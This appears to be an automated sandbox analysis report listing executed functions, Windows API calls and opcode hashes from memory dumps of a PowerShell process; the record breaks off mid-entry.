GetConsoleOutputCP.KERNEL32 ref: 004DAA71

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: c33b60f3965f76fcc2cd4a29bd1e32063633c2ac375661d177e504927496bba6
Instruction ID: 1fb27a81d2519f0631facf29a6fa31045846e754f4f55719d62b3f83f1cd6307
Opcode Fuzzy Hash: c33b60f3965f76fcc2cd4a29bd1e32063633c2ac375661d177e504927496bba6
Instruction Fuzzy Hash: F1F0CD35500B40CFEB20CF56D989762FBA0EF05721F58C19BDD094B342D2B8A914CAA3

Uniqueness

Uniqueness Score: -1.00%

Function 004DA974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 004DA9C8

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 8c9808b9446ba7b4a677a0814b624ac293f7f5fcbdabec446698c57d091ea183
Instruction ID: db07f78459103b9d0179aee8f31681cf3af58b3ff2e54a0bab667846db992f0e
Opcode Fuzzy Hash: 8c9808b9446ba7b4a677a0814b624ac293f7f5fcbdabec446698c57d091ea183
Instruction Fuzzy Hash: E11191755093809FD711CF25DC55B92BFA4EF02220F0980ABED458B252D275A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004DA996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 004DA9C8

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1c0e1a4b06d87c5d726412ceb4a103ecfaf61afedfe07decd50a3ae90181fd09
Instruction ID: 87920709766a652c1700c43b70cea4eee3b9bd50fd7c01f88ec182ead2f392f1
Opcode Fuzzy Hash: 1c0e1a4b06d87c5d726412ceb4a103ecfaf61afedfe07decd50a3ae90181fd09
Instruction Fuzzy Hash: B801DF75600740CFEB20DF15DC857A6FB94EF00320F18C4ABDD098B346D279A814CB66

Uniqueness

Uniqueness Score: -1.00%

Function 029907F7, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2130225922.0000000002990000.00000040.00000040.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e603218ea5ed185afaee23ba5af157180ec70dd459afe9ec39548793fd43d6e
Instruction ID: 1ffbe8981d98eb3985ec1edeccad3b02f96c4132bab6e1758219027d7add11f1
Opcode Fuzzy Hash: 8e603218ea5ed185afaee23ba5af157180ec70dd459afe9ec39548793fd43d6e
Instruction Fuzzy Hash: 1B01A7755097809FC7118F15DC41853FFF8EF46670709C5AFED898B212C265B919CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02980860, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2130202171.0000000002980000.00000040.00000001.sdmp, Offset: 02980000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c6187c435e492c3611902d1e9e796b6253f60e14e52d548e07a1e885634ad1c
Instruction ID: 725f3a364c297ea70d7b1a41c9dc66b221bf527f2baef3818f651d9371d50e27
Opcode Fuzzy Hash: 6c6187c435e492c3611902d1e9e796b6253f60e14e52d548e07a1e885634ad1c
Instruction Fuzzy Hash: D4F0E52624E7D08FC7039B74ACB64A97FB19D4311030E80DBDA81CF1A7D6585D89C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 0299081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2130225922.0000000002990000.00000040.00000040.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa06ec423ca2f8e6103178edd2724cf301bc3547b4851f19b189c9dd705d1153
Instruction ID: 382f8c72402e41b37544fdb44df1fd6d797595d18e1a17a70344f8371ce88ec5
Opcode Fuzzy Hash: fa06ec423ca2f8e6103178edd2724cf301bc3547b4851f19b189c9dd705d1153
Instruction Fuzzy Hash: 28E09276A007008BD750CF0BEC42452F798EB84A30B18C07FDD0D8B700D175B504CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 004D23F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2124022723.00000000004D2000.00000040.00000001.sdmp, Offset: 004D2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229fae0fa12ec5c9f644a5b1fc4e044dde0da318a3cc37746755527c63f456b5
Instruction ID: ff857c844d4d1caae7409ad33653afb99942a511f26fa03bd87db4f65e910da6
Opcode Fuzzy Hash: 229fae0fa12ec5c9f644a5b1fc4e044dde0da318a3cc37746755527c63f456b5
Instruction Fuzzy Hash: 92D05E79205A918FD7178A1CC2A4B9637D4AF65B04F4644FBEC40CB7A3C7A8E981D200

Uniqueness

Uniqueness Score: -1.00%

Function 004D23BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2124022723.00000000004D2000.00000040.00000001.sdmp, Offset: 004D2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c95783b9c6ad7319edb7165b42aedfc6eb25b3625a84c6c48828fd2ec897273
Instruction ID: 1da09a19b43276f35479933d519278e12e4fd261f2de45b2ab49c72c15de1b1d
Opcode Fuzzy Hash: 3c95783b9c6ad7319edb7165b42aedfc6eb25b3625a84c6c48828fd2ec897273
Instruction Fuzzy Hash: 40D05E343006818FDB15CA2CC2A4F5A73E4AF90700F0644EAFC008B366C3ACE880C604

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2180 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 0260ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0260AD37

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: f63491e8adaf0aebfef07d4a6b507da2fa43523b17c61122934bc1cc0e975f17
Instruction ID: b81133179c552b4b63801eb6af7c4da2617900c9454b80129c3a03998b91d568
Opcode Fuzzy Hash: f63491e8adaf0aebfef07d4a6b507da2fa43523b17c61122934bc1cc0e975f17
Instruction Fuzzy Hash: 1B21D1765097809FEB228F25DC44B92BFB4EF06310F0884DAE9848B2A3D3719908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0260AD37

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 064092dfba9c9908d5a094a089a15f33367aebc2babe95b5c9a64334a833610f
Instruction ID: e249a46e81ed8ef74958e5dc5f2136b5c76eb2a5c4c0e0c857e37af19493be28
Opcode Fuzzy Hash: 064092dfba9c9908d5a094a089a15f33367aebc2babe95b5c9a64334a833610f
Instruction Fuzzy Hash: FD119E765007009FEB24CF55D884B96FBE4EF04261F08C46AEE498B6E2D731E814DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0260B329

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: ded4185d5b76a41f9e7e075ff828ee9931ae5444adde5151c7c75872f03b93d6
Instruction ID: 02111620acbc8cf9c8c54d9ff33214b2285afba892f3c42aa7a262897abab585
Opcode Fuzzy Hash: ded4185d5b76a41f9e7e075ff828ee9931ae5444adde5151c7c75872f03b93d6
Instruction Fuzzy Hash: 3111A071508380AFDB228F11DC45F52FFB4EF06224F09C49AED844B6A3C275A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0260B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0260B329

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 6fdb4e35fc47e4a7cc36135ef24b1676dbb63de955212c4bb194135b42d48849
Instruction ID: cc19c7a771c38080ca2414da12aa489cd66fdffce9208ee687db5e6956d637f0
Opcode Fuzzy Hash: 6fdb4e35fc47e4a7cc36135ef24b1676dbb63de955212c4bb194135b42d48849
Instruction Fuzzy Hash: A101AD35500700DFEB248F05D885B22FBA0EF04724F18C09ADD490B696C375A418EB62

Uniqueness

Uniqueness Score: -1.00%

Function 02830118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028301D0

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: e6f940f542a17eee618f0c7453d4b6c819327bd911c0522ba3fbab865b9f9207
Instruction ID: 93ef6c2e50635145ab19bb71b628896261d47c55e9db6607cb22aee977993b8f
Opcode Fuzzy Hash: e6f940f542a17eee618f0c7453d4b6c819327bd911c0522ba3fbab865b9f9207
Instruction Fuzzy Hash: 4331396650E3C08FE7138B759C65692BFB4AF03210F0E84DBD884CF1A3D6699809D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0283067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0283072D

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 885db9195fdb2388d7d9f53c9ad1ef2236801a82c17856c72860d038c4a56711
Instruction ID: d2d7c4537ac4fb13435ba3bcf12137115fa6c6061748bfecf3e435bf3dbf7bd5
Opcode Fuzzy Hash: 885db9195fdb2388d7d9f53c9ad1ef2236801a82c17856c72860d038c4a56711
Instruction Fuzzy Hash: EC317075505380AFE722CF65CC45F52BFF8EF05610F09849EE988CB293D365A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02830D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02830DD6

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: a30bad1ee80c344a55273921039f35d5445fd8fa22ae760d1fd5de32f7fe17fd
Instruction ID: 774298d525a356c50e7f417bb267910e16b888ff7d67fd3902088934bd5c3bd1
Opcode Fuzzy Hash: a30bad1ee80c344a55273921039f35d5445fd8fa22ae760d1fd5de32f7fe17fd
Instruction Fuzzy Hash: 3831C8B5509380AFE722CB25DC45B96BFE8DF06314F0884AAE948CF293D775A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 0260AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 0260AFBE

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 5b1649908ab80dd8674a9ff709ab62e3f1ee34b4e0f8ec9e0d405e995a17d289
Instruction ID: 8e1edd431298bec5a9ec5e586b428fcd8e8f1e1c4e28e084f5a2f43c628825c6
Opcode Fuzzy Hash: 5b1649908ab80dd8674a9ff709ab62e3f1ee34b4e0f8ec9e0d405e995a17d289
Instruction Fuzzy Hash: D521D2B2509380AFE7128F60DC45B96BFB8EF06324F0884DBE985DB193C265A949C761

Uniqueness

Uniqueness Score: -1.00%

Function 0260BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 0260BDBC

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 55e1ff6de886648a6481e564592d5fbd247b194a9747187d183361f4e6f8db66
Instruction ID: b318e5e7a7f13123e53cc2d0dd69fc470fb4c8487e84f2ccdbfb19fa50bd7e2b
Opcode Fuzzy Hash: 55e1ff6de886648a6481e564592d5fbd247b194a9747187d183361f4e6f8db66
Instruction Fuzzy Hash: 9231B172109380AFE722CB61CC45F97BFB8EF06310F08849BE984DB192D224A948C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02830FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0283109E

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 6f6861f6eb4940ddc2edf3d85383af4429fb9ea792545aa6631f45fd40628c1f
Instruction ID: 3ad7bdfff7ae0bf4b3de8ced5cbd1db2aa0981b5f7f2bac6fcfc65ae2cb86147
Opcode Fuzzy Hash: 6f6861f6eb4940ddc2edf3d85383af4429fb9ea792545aa6631f45fd40628c1f
Instruction Fuzzy Hash: E53173B550E3C05FD3138B358C55B55BFB4AF43610F1A81DBD884CF1A3D629A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0260B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 0260B0AE

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 672adb17f3d6550c43ff920cadedec94ccab587eacf5bdd78b5060b494657504
Instruction ID: 4847b2e9d1f7031091cdabfff8c2173c58930fbf535a1a4ecca18ad61ea0d469
Opcode Fuzzy Hash: 672adb17f3d6550c43ff920cadedec94ccab587eacf5bdd78b5060b494657504
Instruction Fuzzy Hash: 9521A371505380AFE722CF15CC45FA7BFB8EF06224F08849BE945DB192D664E948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0260A1A8, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0260A23E

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 0ecc64f67510d26bd55be37e18832672d29bbefce6e565a7e0030900ffe06b4b
Instruction ID: 40a497041d704d2d56cd790ea83b6178addf8b1a842bd978fdb86f043dc54059
Opcode Fuzzy Hash: 0ecc64f67510d26bd55be37e18832672d29bbefce6e565a7e0030900ffe06b4b
Instruction Fuzzy Hash: 7C21F47144D3C0AFD3128B218C91B66BFB4EF47620F1981DBD8848F293D229A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02830784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 02830819

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 17f5f106d347e15d5efb928f22d7c389562eb3bb48fbb235cc72a90af49dbdfe
Instruction ID: 474fd3ae9f7dee8e841050e3fc24b5c88ed9f61a19e9a58402870b3df3edf513
Opcode Fuzzy Hash: 17f5f106d347e15d5efb928f22d7c389562eb3bb48fbb235cc72a90af49dbdfe
Instruction Fuzzy Hash: 40210AB6408780AFE712CB159C41FA3BFA8EF46724F0981DBF9848F193D224A905C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 02830464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02830502

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: b2e8aed91f0032aad66a8f73d1305bc72489623b11d4b68fd813a3430e404410
Instruction ID: 97c6f59c6546ca5c0e0d79b348031a0cc668c43cc7bcaf0562280cd218359d3a
Opcode Fuzzy Hash: b2e8aed91f0032aad66a8f73d1305bc72489623b11d4b68fd813a3430e404410
Instruction Fuzzy Hash: 5B217FB550E3C0AFD3128B358C55B62BFB4EF47610F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028306AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0283072D

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7b28bf2109ed7d0501b7acd8eb6bd28ceaf2d368ef686a751d69d494f436ec2e
Instruction ID: f6925d16890f3e7815dc7322b368eb1c65a16aa8b53e5580a2ebd6febe9c6a85
Opcode Fuzzy Hash: 7b28bf2109ed7d0501b7acd8eb6bd28ceaf2d368ef686a751d69d494f436ec2e
Instruction Fuzzy Hash: C221AE79500304EFE721DF65CC85F66FBE8EF08610F04846AE949CB292D772E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02830854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 028308E5

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 93ad248a3712a684a5f5af17b6072d84c00669162851dc60be60cc2f6782e843
Instruction ID: f76fb291f07a48a2315d6ce24dfd2189ba9b641fb96bf63184598bdfbda9ec07
Opcode Fuzzy Hash: 93ad248a3712a684a5f5af17b6072d84c00669162851dc60be60cc2f6782e843
Instruction Fuzzy Hash: B5219275409380AFE722CF51DC45F56FFB8EF06314F0984DBE9449B193C265A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0260A94A

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 05e5ecd9d0422d98c2b8cb3fdd7fc30071daf0e31230d84a63c85e647024864d
Instruction ID: 4fc7f8c543f28c37e0ef5281a4df66db930a4d78403e386714d099639b1b0d01
Opcode Fuzzy Hash: 05e5ecd9d0422d98c2b8cb3fdd7fc30071daf0e31230d84a63c85e647024864d
Instruction Fuzzy Hash: 9B21A77550D780AFD3138B25DC51B62BFB4EF87B10F0981DBE8848B693D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02830D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02830DD6

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 99d753ed27cef40e400ae483d8de82427376929a42fc89f2810104c73b9754cc
Instruction ID: 8397042f0cf861c3a4b3ed5f4bac1adba31f0807ea9bf823819ae8c06e7ffbf0
Opcode Fuzzy Hash: 99d753ed27cef40e400ae483d8de82427376929a42fc89f2810104c73b9754cc
Instruction Fuzzy Hash: F321AEB9600304AFF721DF25DC85BA6FBD8EF04654F04856AE948DB282D775F804CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0260BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 0260BDBC

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 22cb26ff245f4d12d674e2722b1106dfb92fe3187642d3c8b79f41751a5aac6f
Instruction ID: 1b5485da975077cc68a5c5e1e91e57e1fe5b12b6fceaac0b87c0c6228f02f892
Opcode Fuzzy Hash: 22cb26ff245f4d12d674e2722b1106dfb92fe3187642d3c8b79f41751a5aac6f
Instruction Fuzzy Hash: F2119D72500304EFEB21CF51DC85FABFBA8EF04724F04856AF9459A281D670A9448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0260B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 0260B0AE

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 4f6d9888d6fc29aa6db9a302d53a9577440d8b2b6902fd355c9c1cb4d354a5d6
Instruction ID: e633387d53665b47e254bf78b363562383f09febcb487624a5de50aedd35a38c
Opcode Fuzzy Hash: 4f6d9888d6fc29aa6db9a302d53a9577440d8b2b6902fd355c9c1cb4d354a5d6
Instruction Fuzzy Hash: C411AC71600340EFEB24CF15DC85FABBBA8EF04624F04C46AE90ACB681D670E9048AB1

Uniqueness

Uniqueness Score: -1.00%

Function 02830F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02830FB0

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: c6b17070a424447bc5331c5aff709740cec12fa5a251624f2ea5817083a62e50
Instruction ID: 71e2d7039ce4856b2be58c41648661257c989f6561e14aa5c11ef6535c55a99d
Opcode Fuzzy Hash: c6b17070a424447bc5331c5aff709740cec12fa5a251624f2ea5817083a62e50
Instruction Fuzzy Hash: FE214C7550D3C09FDB138B25DC55B92BFA4AF02214F0984DAD988CF693D2659408C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0283137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028313F0

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: cfb582304642260ae8699150fa2b46b963aecc16a7d111be3e12dcd041e22fe5
Instruction ID: 82e4dc8a9760b8d8725f563851892fa289d96a8c4168407709b9fd761cde5828
Opcode Fuzzy Hash: cfb582304642260ae8699150fa2b46b963aecc16a7d111be3e12dcd041e22fe5
Instruction Fuzzy Hash: A72192765043809FDB22CF25DC45B96FFB4EF06220F08849AED898B562D275A449DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0260AB1A

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6f2cf725fa0bae6d007e1b4d630f75b005f8812f7e31c2cf6194736c85030fc2
Instruction ID: 84c23d7fd6549fd74f72e20e3a3896eada622c7ecd8b0935f0deea96f17165c8
Opcode Fuzzy Hash: 6f2cf725fa0bae6d007e1b4d630f75b005f8812f7e31c2cf6194736c85030fc2
Instruction Fuzzy Hash: 5321A2B16053809FD721CF65CC84B53BFA8EF06250F0884AAED49CB292D365E804DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 0260BB2F

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: aed0e8848ba6e0e85f41cbe014d00fec9d239acc8dcd48a9437c153b02cbe538
Instruction ID: cbe136cff0c5464710091297f2871c97e452655bbd5198df33e3854e7e42d422
Opcode Fuzzy Hash: aed0e8848ba6e0e85f41cbe014d00fec9d239acc8dcd48a9437c153b02cbe538
Instruction Fuzzy Hash: 3F21A4755093C09FDB128B25DC55B92BFA4EF07310F0984DBDD858F2A3D2649948DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028310D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02831148

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: c3ee547b3b7926bc0b3e8f80990b3c1cae64508f67cab14bf8965748e81b9da7
Instruction ID: 03db8175990035436c9edc11ef9cc1cbf928d00db4ce9f1f7f02389e372140d4
Opcode Fuzzy Hash: c3ee547b3b7926bc0b3e8f80990b3c1cae64508f67cab14bf8965748e81b9da7
Instruction Fuzzy Hash: 1C216D6540D3C09FD7138B259C54A62BFB4EF57620F0980DBDC888F2A3D2695808D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0260AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 0260AFBE

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 20cd195b37f857eb6e7ee5937ab4b54814eae0b77792b196d9aa2c418e2011cc
Instruction ID: 21045661996a458dd4899831015e07e6b2476f926dab06f524aedef51184f2c7
Opcode Fuzzy Hash: 20cd195b37f857eb6e7ee5937ab4b54814eae0b77792b196d9aa2c418e2011cc
Instruction Fuzzy Hash: A311C1B2500300EFEB21DF55DC85FA7FBA8EF44760F14C46AEE099A281D670A904DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0260BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0260BA7E

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 54e32c5c9d38535c94d5c335375881b8b28de9ef08d42bdef91b36e8a8cea8d9
Instruction ID: 60e31e021ceac4926fa69256a7ab7c6acc2a3ae36e3fda5f7470820af3d12509
Opcode Fuzzy Hash: 54e32c5c9d38535c94d5c335375881b8b28de9ef08d42bdef91b36e8a8cea8d9
Instruction Fuzzy Hash: 84116D72504384AFDB22CF65DC85B53FFF4EF05214F08849AE9898B662D375A418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02830886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 028308E5

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FileRead
String ID:
